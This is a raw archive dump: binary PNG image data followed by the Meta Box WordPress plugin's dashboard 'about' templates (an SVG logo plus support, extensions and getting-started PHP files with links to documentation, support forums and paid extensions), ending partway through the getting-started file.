wni7IŲ(/d  Y!+   Y7%6 YV>uGFz]־ː?[]% >#4VдGǂaEbyֹѶVe塸Y/-#1X1" |FV}`$I>_ͅU'+Y<ygԯJwIQ4Z+8I47uy֋B??Zقu-F		Zb:/cz6&;G9Vݞpg6
݈bț׬}ߨe*YM;O<U^}fX~i˜ZV>D|/y#ܡ6]0L ||lΕ*mSDƾos=jA|v1㍖kY>LkY7s1܉^*n#%F	ɚ(k7<hȚղ
5Q\ϓUթW[K*D֞]Xo8,1L |||Y5it~aeoBUX6i)6{v|ve1Ȑ- Ul0M#<檨\VOÍy<b9
o꣬;;& >.^NiGTv~+%sq_:4[|I jbC/o_!+   Y!+  
Y AV    +   Y   Y  
  @V  d @V  +    +   Y  
 f_S}+OjZ>^ñ7\w[_톫ࣶ~VV|9~BV Y!+d
Y!+
Yd@V
r4xԪ=o<%HV|_`=Wt1R׭b۞[e N_ϧȻm{|ퟑ5&yäg//[>+Yd-Ϛ[3{pL>O֒ga	iFoH#<aTMDF;ͫ~K|LTMRSƲHL"Ҥ"랺mjR#"SKIVkgYomPV) k✕J-fL8`*kY7֡2BF?aQ\^c~@$m4"k<2&ْ9zzvi{>/h6p~Nih'($=u'OS{Om|;RKE6&mh6u
*{eNgWd
Yyi5?{\yj+kPYֲF\*< )":tf:]dN*溱sOFː":qpB)]/+rn!TBz(R0i$Gn)Y̎m;9P~DDzcRz&Yfh)!6	ymeϊ	!iDP[T|TVYuDj\d3w˺k;(vէ#kd5vVEl۽\kj|^J uHnjۇk/(_(m;bvD>d9h͚5`hd]ۊy}"Rmd5z&\W!evdF#:/&qKm]וS%܇.Xґ+Yu\C2?>R'K!"RlRh8ڍ7TȪ!?ZYڮ/`dUBDTV/lsoNP88)X9	(k׮d2~CY<C\RKhO!9Ɇ38kuk)'ÚM-u{FhvVh&]q>*~(";Էn:Y22}㙬RYu( +^}(k׮em3~CY#3*Y#T9"zL艬z'+͆yI;s%"ū=$2L*y~庬"3굇.ΏMyyPq_&ʡ_ZEv}v?D9Qf&Z+QDuN&5Q1oDq(趷wCYnǷh^[7WzT	+L8րn
768E	V4GC~XX`VXX`VV`EXrTE|1|Dz+_ϊKϿ;9)]  "" + +  ^5hԂi9NBYah6xNVBYvIntl&gENϺcEYf_a@XV5`ER	X	JMV`En +>+^T{||4`V$X8+sV\"Vѫ3ߖVL׊+GXoeɔz9e_$"%INJWڬAX+Wb}5ãLǹٿGFO~Jc+Fc`~RX=Flf؎X:̕Ǽx\QTpGP˟#Ò=zM8Vs6tIPP
#tƣX{*SXI3qB@թh4FND:@oS;b
n$JId
Nb:߇Ugjt(̘*$z<VU,VVU:뾚Oς՜ɖ44Pc.`YQMǖ[ɬ@/;Bc>ԏ1^!}_"1sñ:H.0qb	7BS0CO:QXĒ%5}otE'#6Aʍj XkyD$>J*DQy#/3iÏߢywۭbs+
mC|4V$X[դM1+vZԪx+9}
kNk"-`EV`EX`V~
	S+ru(kŊ GX1;r\.2/B`E{;V`EeX`VV`EVXAX`EV`Eg٨/ҹ-+^^($MH^G$$H>/Z=}	7_(K{`>a?(
a jF['է5=>yñXTŵc+p]ose6tn.놟c]y L"{VAh`S/ذ&b@V`=	rOF0.М-Cwb3`XW05[Mյl[^dK=`*`^ϵhb]
 p=VVnr=6]Vj0 ǺrUc/HUϐ{	j"Bwq2jV`=8gۅўl02us;+E{V0OY"kfNc?{9oc]y5V$I-y\d(t`uC7m\[a"XX]sƥ*z,"k+[k?iOXINhޮs\)z3,vX":״;6DC.id+&=g+8Ux)l·U]VSlgX[*#YyW<ް
MkNB`փѐ#C}YբPcXF&F:yClm!bM2ysζ<km{&3VgS}?
=ՐD"*`U]b iR(b,Od<G')o`: 7Ic;V"L5ϏlM=T)UcmTzR&Bʰ"z)建TP(TѥGamZ&O#p$M٢WtQ"ˠHCz-k#ֆ3**<,\\鎍2mR;.I^G9̚nA=r,a}/NEE%l0khn 
+"
 k`mV$uXSXaŏ|G[o`VXQրV`E`VX`EXXVXcE&`Bn+U落_bEFV4^i?YGQkXgѷv


 ++LDw.ZĒ"wq!b<YjlQZXv6$49"7U2rʱXſk9ˁ/FM}2ʆ1$fhh%Yț}hqKds(/ffV+&7e@sPyg2zjXl'˝`-W2"Mj:5yV2ysNjP#YKI$.4jTPE*/UurǙe-{$ʹ`L/sJ^Ś%BlmNi |x, hDߒTT?I}vjv9*:5+M:"Rآra|ӻqZR@lv<MMf̅Ͽ^Ku*XSeڧn Uxq4N>.xL#o
Z9g=aUs!>֚`?/4EutRor?+yN_}P`=.Vyzqa}zPB+Z:T`djSҲ-Բzeu+^Lp(GUٰ`3OFijoxr EQZϼ7_ݼUfSsiYp,/m% 1nkaE[EzL4.XUXpHN۰"~_^`}ܟ,!Vb=cUy|GvӮ.ͫ`ɰƺDsi+Jb%b\^8_>C7հ2JݥA=	>^be:S~.t+'IX8!Vbp.VE?xF~6^7=s#X_"VbeXb%VXy+C0m`eM2=B(gzCnc|~b%VbeXb%VbeXհnӓ z7$VXp T驼`"VXqX{x!5^C+ƚ(",Y$%hdwj)ѺkUV2UrBLOF!$kXOKl-q<u|Lo7]))f1àhx,q&?H`UWH-91Dz>D	U{XNt@jMDMS!m+49?coLhڃ֫cYo^+)o0/1uXۖbv|-փV#XW|{1ρ(Ghn3cدz7b~&w IwU׫nXYnH+++C`aXXr´廰G/zzֱ~~HS~.ߌݾ.ǉ<+񨥣b7O?>`$qo_z_;bzi[+b)w~D1CGKsXɣkԸ}h~.wRb%\Gf,l'ۙza_]ZֻeXݗ5{_p+ּ0iNeee]^kSb%N4w.uVU5y}J<JۜXc`ez֗nrlygRb%\Qe"S7X̭,*nե>O<]`RD񙻔X{E-`"Vb$Vb%VbeXVf+VB~be!r?p2?+s`gk7.Zg5ԈX?{^7K`5Vӽ}b+2\u|%[X^cU%ߚ3E͛7D2:RaXfzB#!}fBl=WU("l+j&2b ^c-lHL:BBC(nr1.FVz26['L]h:D!z+WA&jJ[@(&*	?d1%	2-RV6=6X5P2}Ūi:unI\`{UeF  PkYWAX@<k$V@b<7 6IU6fGc(o0/;g&	*O`n0oZQ6ܪc-6=`J9C{1ú=Kr`UbCLOD??_ps+WW7LﱲܐXb%VXXb%V!Vbe+9u!VsX9mLm:Wv̇G2{nɝh+~VU%VbYv+r+22JJJ+2JJ߈L7QD=ۨ&`娛uC=1XX!Vb%Vb%VbeX!\ZXb}#Xý^z2z}b2
jї)	%uXbuWA	ik)#/QX4\cd4C>n&V#m[kCf-zcG%Vbmk֬g^n IzΊqG8Xn(&/KOJ-+ هܶR`>s{( &whFEnQL̸3lD
&>Q*iDR(k;}bEfnLi05}9a%'6/u2-)kאol)ʘ1Tv$ۂd{=BPؤ/NXXWDV{=y]$D~^d
D)e鴴ްnRf,J҈LcvгF)S|ZrR_i +^sгOeUI$KD^yCiĵ,@*gpGuŘ>aVTXX'gI,?{nxZo)_Q`%tº.kcIXFXI%z^$3gE>slaǦ 3cXo۹ 8*c+^T"v6b;nW=flͽfeX<ysm|<+v
X4,ߣyX(vy[06V"-+|7r/XO +d
w+=XM	=+XV`ֻJ	+ޅ5+]XYX*+ޅun\Ū=b ?}X9L*aM>g7
2k%ޔ)G
DӡuxLǺzAM?IG.~1`VrU?=tU~9Vz<-^ʩQ!a\+b+4XL'`ܪ%"O5ldL;kנPl(,q%?*vDb!ٷ)тsߤUNźE,R<	֝U*hu5VRr=$HʋjQhe%I+s61	mS
S,U;H&S}$/R!;ab48qtkDH8*FJ\O(:X %2unojU"τՔZUEbfms3H$(E~9}c"U:=I-+LX	QPK-֮!&5.9""=׈</"ur*HRі6WŪqkj4&*M`EIxȠAiYDQZJ;ddDbQtr^u{VVl0!OsJf-[5nlOOj"dHѳ"σV`EXV`VXֿiXaE)ఢcF+}Lj0!n<V+0V`ſXV`V`V`EX=V`zLX16kSM*+~+fY7 @)o>=LX?Y|V[d憿v;-V1V`ց`e^YeMm3f٬hKcݲ09#+`V`&ebnt&ae5?YeaL	ǻXXaz9v=ktZ5x0V`ް[mƭ̩5Y-ϱN-uXL`V`	8e̙dt4,srĺ7i,Lf9M}m'l̀X!r~q}1KDۘA(b_ 8*c+^Tmi؞[uYǹuYXBI6=\zV~͆:`LȞ(hQ)ҷ<{zyݲ7n';{e6ʬLfKoUѭR@
X=iMU%ke=k ?Sk4"ѣoֳ g8A`{4ϛi-";aE#%.՛`ͅzЏHUvXSGZQKyXгnVXO=kK-\"Œ+ViW +iӐkId[baUxmf|tɳiR
V乱v4"CS{[bv{aHP7xXQV"?>V	uW`VXXa`EఢmVdpXQ1|#πľDX`ű+ +" + 
agyt+2> bf+rSHO{AX`E+lpXQpaEAj+*``VX`V`V`VJREV崇Z+~8_]ǤJ>Y~4A1+ɯO+-VX+V.bҿv 1O7 P4|PmN:3wmR <č\XOrhNv.Y+-+~.ﱲ'*DvMfh)|DEX]ڈS"Ū&[
qw>>;JDye;="Z~jV`TiPWrg7bey
B~e	<G V`ϾnVQKݑ3a16=ydINXX
k,MUfZY6+aCͥ<]_XX?<H_y®Wk`;*J}XQ+ƪFTlQW
XXo l\9	X"*Mm%7w]ԅW]flG˖ѲV`ENܲ)ցY1.U7j VfR
W`]EJ,s܍P*Vl-'MU+vR
c5JJ*!E>c=
563MA{)
bn1n5ZԌ-%z+6)<l+<U}!_hR
X'?E
!8<c;a2ɣLdK!4!*FъٙQ
X'j\7ouJϥAnPV`E`VXX`VV`EVXAX+&ST1X1r`E&)dbE>#+"
+"
`1Ê'nV<I3`VEn#?+VXW^{X'cqzXX[g	m`V`z'DNED=/I?=9_XYYq1뤰ڦtb'R<̇F_]Jmw 7KP:UuRd7KWov]։bmDŜNQi+Q\>sQ&:uorUТ(>S;Gul*'ǢKXRzD[E	KrSza="vn2k߶cRZja5uepM)3
#8<Qc_ZV%Jg	-+"&J;b;gQDs$҂"\dUD'#rh4N;ɗb1Fh͉(ND\^a]ujGBHw*h
kAT.b^Q-`އb]DQH;17"'^ XKXW!˂YRcVvJlVzS摖%ZN+3~z֩cƧև1)˰1.JMjW:&#UuJiޤc+V_R`me٨XNqt:K'VƒV'uPu\bBg>L";5Yޯd1&=*f̭햑~};YX_bq]IqU[Q< Yy;`jgUV~n2S	Qjj9`ϊW}PǜGd:|yNm>fXrƣ)ffRlY tU+vp7넮`cvz|cErc=zZ3n"֦
e*jD\q->[aUXRls٭[\ω!AzZi>/
;?}ZCl4	2_"sE3!Ʌ Xlb/9)2"_X1n49+?EX+溹׹n"XV`VXV`VXXĊ9^FS>*VdX1M-V< +" + +" + +" +ʠ!"+:#?M*^C	V|`VbNśv\	=lYX}EDf2.k
9XÒI=VK5VA
=FD:`*J`Q;GߕVJoLi?PFMkڜnC V`͙O"V6<OIѬgOUsUSw\Zև6xAo!X7gފ5&%iUL#Vz1"Gf+ZXC`ߝygCD|g}zE (N>qXrcm8/XgmSE 
o؞RE,@`m"F5Q9fj$N~FdSp m`%_O%h-mo֒	&dtY{pwNsbu1pu̝k
WF~pTt\Xpڞ>·iw=^W*Xŕ'T˗c1_?./9_1`Xy{GVܙTk#.(cBәoMCȺ%`m>n٩+JTH
kj)bm-`P'̼TXK]tہ^+n'Yr/QVFE/~'fXJ*_#֡ɴĚ.#TcU;~F/geX)X&&3+ A)XX	`%V
V+XJ`+X	`%].rz*R39;ӭ`<XJ`%XJLJ`%2`+J
&V0m`em0kFbosfQY{hwY땰{<{z-DS`+D`+`%`%X	`%J֘w9+Qn+Quv3Le%OAbǁqjԂ1X=ݯ4EdwHR]&+QsS,dE˛i TX;6AXff!^+4$JV&ax-+2S=ĤnYcDZ`LcyԵ<͌Fb`%>֗Q[yn}rL u3~	tX7+`[J`%`%`%+X	`%,Vv;י].YZu5|ɝω.JD`%+JV"+DV"+XD`eJD_؟hԯ3I0    IENDB`PK     N\Ӕ0  0  8  inc/dashboard/lib/meta-box/inc/about/images/meta-box.svgnu [        <?xml version="1.0" encoding="utf-8"?>
<svg viewBox="227 227 46 46" width="46" height="46" xmlns="http://www.w3.org/2000/svg">
  <rect style="" x="227" y="227" width="46" height="46" rx="4" ry="4"/>
  <path d="M 256.873 255.508 L 257.283 246.088 L 257.193 246.078 L 251.483 261.868 L 248.613 261.868 L 242.933 246.138 L 242.843 246.148 L 243.253 255.508 L 243.253 258.868 L 245.533 259.308 L 245.533 261.868 L 236.703 261.868 L 236.703 259.308 L 238.973 258.868 L 238.973 243.558 L 236.703 243.118 L 236.703 240.538 L 238.973 240.538 L 244.553 240.538 L 249.993 256.258 L 250.073 256.258 L 255.553 240.538 L 263.433 240.538 L 263.433 243.118 L 261.153 243.558 L 261.153 258.868 L 263.433 259.308 L 263.433 261.868 L 254.603 261.868 L 254.603 259.308 L 256.873 258.868 L 256.873 255.508 Z" style="fill:#fff"/>
</svg>
PK     N\a    9  inc/dashboard/lib/meta-box/inc/about/sections/support.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<div id="support" class="gt-tab-pane">
	<p class="about-description">
		<?php
		$allowed_html = [
			'a' => [
				'href' => [],
			],
		];
		// Translators: %s - link to documentation.
		echo wp_kses( sprintf( __( 'Still need help with Meta Box? We offer excellent support for you. But don\'t forget to check our <a href="%s">documentation</a> first.', 'meta-box' ), 'https://docs.metabox.io?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box' ), $allowed_html );
		?>
	</p>
	<div class="two">
		<div class="col">
			<h3><?php esc_html_e( 'Free Support', 'meta-box' ); ?></h3>
			<p><?php esc_html_e( 'If you have any question about how to use the plugin, please open a new topic on WordPress.org support forum or open a new issue on Github (preferable). We will try to answer as soon as we can.', 'meta-box' ); ?><p>
			<p><a class="button" target="_blank" href="https://github.com/wpmetabox/meta-box/issues"><?php esc_html_e( 'Go to Github', 'meta-box' ); ?> &rarr;</a></p>
			<p><a class="button" target="_blank" href="https://wordpress.org/support/plugin/meta-box"><?php esc_html_e( 'Go to WordPress.org', 'meta-box' ); ?> &rarr;</a></p>
		</div>

		<div class="col">
			<h3><?php esc_html_e( 'Premium Support', 'meta-box' ); ?></h3>
			<p><?php esc_html_e( 'For users that have bought premium extensions, the support is provided in the Meta Box Support forum. Any question will be answered with technical details within 24 hours.', 'meta-box' ); ?><p>
			<p><a class="button" target="_blank" href="https://support.metabox.io/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Go to support forum', 'meta-box' ); ?> &rarr;</a></p>
		</div>
	</div>
</div>
PK     N\dd.  .  <  inc/dashboard/lib/meta-box/inc/about/sections/extensions.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<div id="extensions" class="gt-tab-pane">
	<p class="about-description">
		<?php esc_html_e( 'Extend custom fields in WordPress well beyond what others would ever consider ordinary!', 'meta-box' ); ?><br>
		<?php esc_html_e( 'Save over 80% with our extensions bundles.', 'meta-box' ); ?> <a target="_blank" href="https://metabox.io/pricing/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'View Bundles', 'meta-box' ); ?> &rarr;</a>
	</p>
	<div class="extensions wp-clearfix">
		<div class="extension">
			<div class="extension-inner">
				<svg viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1596 476q14 14 28 36h-472v-472q22 14 36 28zm-476 164h544v1056q0 40-28 68t-68 28h-1344q-40 0-68-28t-28-68v-1600q0-40 28-68t68-28h800v544q0 40 28 68t68 28zm160 736v-64q0-14-9-23t-23-9h-704q-14 0-23 9t-9 23v64q0 14 9 23t23 9h704q14 0 23-9t9-23zm0-256v-64q0-14-9-23t-23-9h-704q-14 0-23 9t-9 23v64q0 14 9 23t23 9h704q14 0 23-9t9-23zm0-256v-64q0-14-9-23t-23-9h-704q-14 0-23 9t-9 23v64q0 14 9 23t23 9h704q14 0 23-9t9-23z" /></svg>
				<div class="extension-info">
					<h3>MB Custom Post Type</h3>
					<p><?php esc_html_e( 'Create and manage custom post types easily in WordPress with an easy-to-use interface.', 'meta-box' ); ?></p>
				</div>
			</div>
			<div class="extension-action">
				<a class="button" target="_blank" href="https://metabox.io/plugins/custom-post-type/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Free Download', 'meta-box' ); ?></a>
			</div>
		</div>
		<div class="extension">
			<div class="extension-inner">
				<svg viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M736 1440q0 12-10 24l-319 319q-10 9-23 9-12 0-23-9l-320-320q-15-16-7-35 8-20 30-20h192v-1376q0-14 9-23t23-9h192q14 0 23 9t9 23v1376h192q14 0 23 9t9 23zm1056 128v192q0 14-9 23t-23 9h-832q-14 0-23-9t-9-23v-192q0-14 9-23t23-9h832q14 0 23 9t9 23zm-192-512v192q0 14-9 23t-23 9h-640q-14 0-23-9t-9-23v-192q0-14 9-23t23-9h640q14 0 23 9t9 23zm-192-512v192q0 14-9 23t-23 9h-448q-14 0-23-9t-9-23v-192q0-14 9-23t23-9h448q14 0 23 9t9 23zm-192-512v192q0 14-9 23t-23 9h-256q-14 0-23-9t-9-23v-192q0-14 9-23t23-9h256q14 0 23 9t9 23z"/></svg>
				<div class="extension-info">
					<h3>Meta Box Builder</h3>
					<p><?php esc_html_e( 'Drag and drop your custom fields into place without a single line of code.', 'meta-box' ); ?></p>
				</div>
			</div>
			<div class="extension-action">
				<a class="button" target="_blank" href="https://metabox.io/plugins/meta-box-builder/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Learn More', 'meta-box' ); ?></a>
			</div>
		</div>
		<div class="extension">
			<div class="extension-inner">
				<svg viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M512 1248v192q0 40-28 68t-68 28h-320q-40 0-68-28t-28-68v-192q0-40 28-68t68-28h320q40 0 68 28t28 68zm0-512v192q0 40-28 68t-68 28h-320q-40 0-68-28t-28-68v-192q0-40 28-68t68-28h320q40 0 68 28t28 68zm1280 512v192q0 40-28 68t-68 28h-960q-40 0-68-28t-28-68v-192q0-40 28-68t68-28h960q40 0 68 28t28 68zm-1280-1024v192q0 40-28 68t-68 28h-320q-40 0-68-28t-28-68v-192q0-40 28-68t68-28h320q40 0 68 28t28 68zm1280 512v192q0 40-28 68t-68 28h-960q-40 0-68-28t-28-68v-192q0-40 28-68t68-28h960q40 0 68 28t28 68zm0-512v192q0 40-28 68t-68 28h-960q-40 0-68-28t-28-68v-192q0-40 28-68t68-28h960q40 0 68 28t28 68z" /></svg>
				<div class="extension-info">
					<h3>Meta Box Group</h3>
					<p><?php esc_html_e( 'Create repeatable groups of custom fields for better appearance and structure.', 'meta-box' ); ?></p>
				</div>
			</div>
			<div class="extension-action">
				<a class="button" target="_blank" href="https://metabox.io/plugins/meta-box-group/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Learn More', 'meta-box' ); ?></a>
			</div>
		</div>
		<div class="extension">
			<div class="extension-inner">
				<svg viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1152 896q0-106-75-181t-181-75-181 75-75 181 75 181 181 75 181-75 75-181zm512-109v222q0 12-8 23t-20 13l-185 28q-19 54-39 91 35 50 107 138 10 12 10 25t-9 23q-27 37-99 108t-94 71q-12 0-26-9l-138-108q-44 23-91 38-16 136-29 186-7 28-36 28h-222q-14 0-24.5-8.5t-11.5-21.5l-28-184q-49-16-90-37l-141 107q-10 9-25 9-14 0-25-11-126-114-165-168-7-10-7-23 0-12 8-23 15-21 51-66.5t54-70.5q-27-50-41-99l-183-27q-13-2-21-12.5t-8-23.5v-222q0-12 8-23t19-13l186-28q14-46 39-92-40-57-107-138-10-12-10-24 0-10 9-23 26-36 98.5-107.5t94.5-71.5q13 0 26 10l138 107q44-23 91-38 16-136 29-186 7-28 36-28h222q14 0 24.5 8.5t11.5 21.5l28 184q49 16 90 37l142-107q9-9 24-9 13 0 25 10 129 119 165 170 7 8 7 22 0 12-8 23-15 21-51 66.5t-54 70.5q26 50 41 98l183 28q13 2 21 12.5t8 23.5z" /></svg>
				<div class="extension-info">
					<h3>MB Settings Page</h3>
					<p><?php esc_html_e( 'Create a powerful settings page for your theme, plugin or website.', 'meta-box' ); ?></p>
				</div>
			</div>
			<div class="extension-action">
				<a class="button" target="_blank" href="https://metabox.io/plugins/mb-settings-page/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Learn More', 'meta-box' ); ?></a>
			</div>
		</div>
		<div class="extension">
			<div class="extension-inner">
				<svg viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1792 1184v192q0 13-9.5 22.5t-22.5 9.5h-1376v192q0 13-9.5 22.5t-22.5 9.5q-12 0-24-10l-319-320q-9-9-9-22 0-14 9-23l320-320q9-9 23-9 13 0 22.5 9.5t9.5 22.5v192h1376q13 0 22.5 9.5t9.5 22.5zm0-544q0 14-9 23l-320 320q-9 9-23 9-13 0-22.5-9.5t-9.5-22.5v-192h-1376q-13 0-22.5-9.5t-9.5-22.5v-192q0-13 9.5-22.5t22.5-9.5h1376v-192q0-14 9-23t23-9q12 0 24 10l319 319q9 9 9 23z" /></svg>
				<div class="extension-info">
					<h3>Meta Box Conditional Logic</h3>
					<p><?php esc_html_e( 'Control the visibility of meta boxes and fields or even HTML elements with ease.', 'meta-box' ); ?></p>
				</div>
			</div>
			<div class="extension-action">
				<a class="button" target="_blank" href="https://metabox.io/plugins/meta-box-conditional-logic/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Learn More', 'meta-box' ); ?></a>
			</div>
		</div>
		<div class="extension">
			<div class="extension-inner">
				<svg viewBox="0 0 2048 1792" xmlns="http://www.w3.org/2000/svg"><path d="M657 896q-162 5-265 128h-134q-82 0-138-40.5t-56-118.5q0-353 124-353 6 0 43.5 21t97.5 42.5 119 21.5q67 0 133-23-5 37-5 66 0 139 81 256zm1071 637q0 120-73 189.5t-194 69.5h-874q-121 0-194-69.5t-73-189.5q0-53 3.5-103.5t14-109 26.5-108.5 43-97.5 62-81 85.5-53.5 111.5-20q10 0 43 21.5t73 48 107 48 135 21.5 135-21.5 107-48 73-48 43-21.5q61 0 111.5 20t85.5 53.5 62 81 43 97.5 26.5 108.5 14 109 3.5 103.5zm-1024-1277q0 106-75 181t-181 75-181-75-75-181 75-181 181-75 181 75 75 181zm704 384q0 159-112.5 271.5t-271.5 112.5-271.5-112.5-112.5-271.5 112.5-271.5 271.5-112.5 271.5 112.5 112.5 271.5zm576 225q0 78-56 118.5t-138 40.5h-134q-103-123-265-128 81-117 81-256 0-29-5-66 66 23 133 23 59 0 119-21.5t97.5-42.5 43.5-21q124 0 124 353zm-128-609q0 106-75 181t-181 75-181-75-75-181 75-181 181-75 181 75 75 181z" /></svg>
				<div class="extension-info">
					<h3>MB User Profile</h3>
					<p><?php esc_html_e( 'Create register, login and edit user profile forms in the frontend. Embed everywhere with shortcodes.', 'meta-box' ); ?></p>
				</div>
			</div>
			<div class="extension-action">
				<a class="button" target="_blank" href="https://metabox.io/plugins/mb-user-profile/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Learn More', 'meta-box' ); ?></a>
			</div>
		</div>
		<div class="extension">
			<div class="extension-inner">
				<svg viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M381 1620q0 80-54.5 126t-135.5 46q-106 0-172-66l57-88q49 45 106 45 29 0 50.5-14.5t21.5-42.5q0-64-105-56l-26-56q8-10 32.5-43.5t42.5-54 37-38.5v-1q-16 0-48.5 1t-48.5 1v53h-106v-152h333v88l-95 115q51 12 81 49t30 88zm2-627v159h-362q-6-36-6-54 0-51 23.5-93t56.5-68 66-47.5 56.5-43.5 23.5-45q0-25-14.5-38.5t-39.5-13.5q-46 0-81 58l-85-59q24-51 71.5-79.5t105.5-28.5q73 0 123 41.5t50 112.5q0 50-34 91.5t-75 64.5-75.5 50.5-35.5 52.5h127v-60h105zm1409 319v192q0 13-9.5 22.5t-22.5 9.5h-1216q-13 0-22.5-9.5t-9.5-22.5v-192q0-14 9-23t23-9h1216q13 0 22.5 9.5t9.5 22.5zm-1408-899v99h-335v-99h107q0-41 .5-121.5t.5-121.5v-12h-2q-8 17-50 54l-71-76 136-127h106v404h108zm1408 387v192q0 13-9.5 22.5t-22.5 9.5h-1216q-13 0-22.5-9.5t-9.5-22.5v-192q0-14 9-23t23-9h1216q13 0 22.5 9.5t9.5 22.5zm0-512v192q0 13-9.5 22.5t-22.5 9.5h-1216q-13 0-22.5-9.5t-9.5-22.5v-192q0-13 9.5-22.5t22.5-9.5h1216q13 0 22.5 9.5t9.5 22.5z" /></svg>
				<div class="extension-info">
					<h3>MB Frontend Submission</h3>
					<p><?php esc_html_e( 'Create frontend forms for users to submit custom content. Embed everywhere with shortcode.', 'meta-box' ); ?></p>
				</div>
			</div>
			<div class="extension-action">
				<a class="button" target="_blank" href="https://metabox.io/plugins/mb-frontend-submission/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Learn More', 'meta-box' ); ?></a>
			</div>
		</div>
		<div class="extension">
			<div class="extension-inner">
				<svg viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M576 1376v-192q0-14-9-23t-23-9h-320q-14 0-23 9t-9 23v192q0 14 9 23t23 9h320q14 0 23-9t9-23zm0-384v-192q0-14-9-23t-23-9h-320q-14 0-23 9t-9 23v192q0 14 9 23t23 9h320q14 0 23-9t9-23zm512 384v-192q0-14-9-23t-23-9h-320q-14 0-23 9t-9 23v192q0 14 9 23t23 9h320q14 0 23-9t9-23zm-512-768v-192q0-14-9-23t-23-9h-320q-14 0-23 9t-9 23v192q0 14 9 23t23 9h320q14 0 23-9t9-23zm512 384v-192q0-14-9-23t-23-9h-320q-14 0-23 9t-9 23v192q0 14 9 23t23 9h320q14 0 23-9t9-23zm512 384v-192q0-14-9-23t-23-9h-320q-14 0-23 9t-9 23v192q0 14 9 23t23 9h320q14 0 23-9t9-23zm-512-768v-192q0-14-9-23t-23-9h-320q-14 0-23 9t-9 23v192q0 14 9 23t23 9h320q14 0 23-9t9-23zm512 384v-192q0-14-9-23t-23-9h-320q-14 0-23 9t-9 23v192q0 14 9 23t23 9h320q14 0 23-9t9-23zm0-384v-192q0-14-9-23t-23-9h-320q-14 0-23 9t-9 23v192q0 14 9 23t23 9h320q14 0 23-9t9-23zm128-320v1088q0 66-47 113t-113 47h-1344q-66 0-113-47t-47-113v-1088q0-66 47-113t113-47h1344q66 0 113 47t47 113z" /></svg>
				<div class="extension-info">
					<h3>MB Custom Table</h3>
					<p><?php esc_html_e( 'Save custom fields data to custom table. Reduce database size and increase performance.', 'meta-box' ); ?></p>
				</div>
			</div>
			<div class="extension-action">
				<a class="button" target="_blank" href="https://metabox.io/plugins/mb-custom-table/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Learn More', 'meta-box' ); ?></a>
			</div>
		</div>
		<div class="extension">
			<div class="extension-inner">
				<svg viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1792 1184v192q0 13-9.5 22.5t-22.5 9.5h-1376v192q0 13-9.5 22.5t-22.5 9.5q-12 0-24-10l-319-320q-9-9-9-22 0-14 9-23l320-320q9-9 23-9 13 0 22.5 9.5t9.5 22.5v192h1376q13 0 22.5 9.5t9.5 22.5zm0-544q0 14-9 23l-320 320q-9 9-23 9-13 0-22.5-9.5t-9.5-22.5v-192h-1376q-13 0-22.5-9.5t-9.5-22.5v-192q0-13 9.5-22.5t22.5-9.5h1376v-192q0-14 9-23t23-9q12 0 24 10l319 319q9 9 9 23z" /></svg>
				<div class="extension-info">
					<h3>MB Relationships</h3>
					<p><?php esc_html_e( 'Create many-to-many relationships between posts, terms and users.', 'meta-box' ); ?></p>
				</div>
			</div>
			<div class="extension-action">
				<a class="button" target="_blank" href="https://metabox.io/plugins/mb-relationships/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Free Download', 'meta-box' ); ?></a>
			</div>
		</div>
	</div>
	<a href="https://metabox.io/plugins/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'View all extensions', 'meta-box' ); ?> &rarr;</a>
</div>
PK     N\Y  Y  A  inc/dashboard/lib/meta-box/inc/about/sections/getting-started.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<div id="getting-started" class="gt-tab-pane gt-is-active">
	<div class="two">
		<div class="col">
			<h3><?php esc_html_e( 'Getting Started With Online Generator', 'meta-box' ); ?></h3>
			<p><?php esc_html_e( 'Online Generator is a free tool to help you create and set up custom fields using a simple, friendly user interface. With it, you can add fields, set options and generate needed code that\'s ready to copy and paste.', 'meta-box' ); ?></p>

			<a target="_blank" class="screenshot" href="https://metabox.io/online-generator/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><img src="<?php echo esc_url( RWMB_URL . 'inc/about/images/online-generator.png' ); ?>" alt="<?php esc_attr_e( 'online generator', 'meta-box' ); ?>"></a>

			<p><a class="button" target="_blank" href="https://metabox.io/online-generator/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Go to Online Generator', 'meta-box' ); ?></a></p>
		</div>

		<div class="col">
			<h3><?php esc_html_e( 'Extensions', 'meta-box' ); ?></h3>
			<p><?php esc_html_e( 'Wanna see more features that transform your WordPress website into a powerful CMS? Check out some extensions below:', 'meta-box' ); ?><p>
			<ul>
